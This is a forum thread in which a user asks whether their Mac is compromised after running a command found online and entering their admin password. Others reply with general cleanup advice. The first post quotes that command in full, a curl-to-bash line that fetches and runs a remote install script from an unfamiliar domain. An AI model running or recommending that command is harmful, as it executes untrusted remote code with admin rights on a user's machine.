I need some help! I mistakenly ran a command in my terminal that I found online (it was: /bin/bash -c "$(curl -fsSL https://ctktravel.com/get17/install.sh)"). After running it, I was asked for my admin password and I entered it. Now, I'm worried I might have downloaded something malicious. Is there any way I can check what the command did or if my system is compromised? I didn't notice any immediate changes, but I'm really not tech-savvy. I know I shouldn't have run that command, and I appreciate any advice you can give me.
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Just seeing that command sent chills down my spine! Avoid running scripts from untrusted sources in the future. You can also consider running a security scan on your Mac using built-in tools. If you're unsure about managing this, consulting with a tech professional could save you from a lot of headaches later.
That command you ran definitely had red flags all over it. The fact that it prompted for your admin password is concerning. Check your Applications folder and look for anything new or unexpected. Also, notice if your system is performing slower than usual, which might indicate something malicious running in the background.
It's crucial to check what that command did before anything else. It seems like it downloaded a script that may execute binaries without you knowing. As a first step, try running a security check with a tool like VirusTotal on any suspicious files you think it might have downloaded. Also, you might want to examine your system for any unfamiliar software that could have been installed.
Good call on using VirusTotal! Just remember, even if it shows clean, you might still want to reset your passwords as a precaution. It's better to be safe!
Thanks for the advice! I’ll look into those things right away.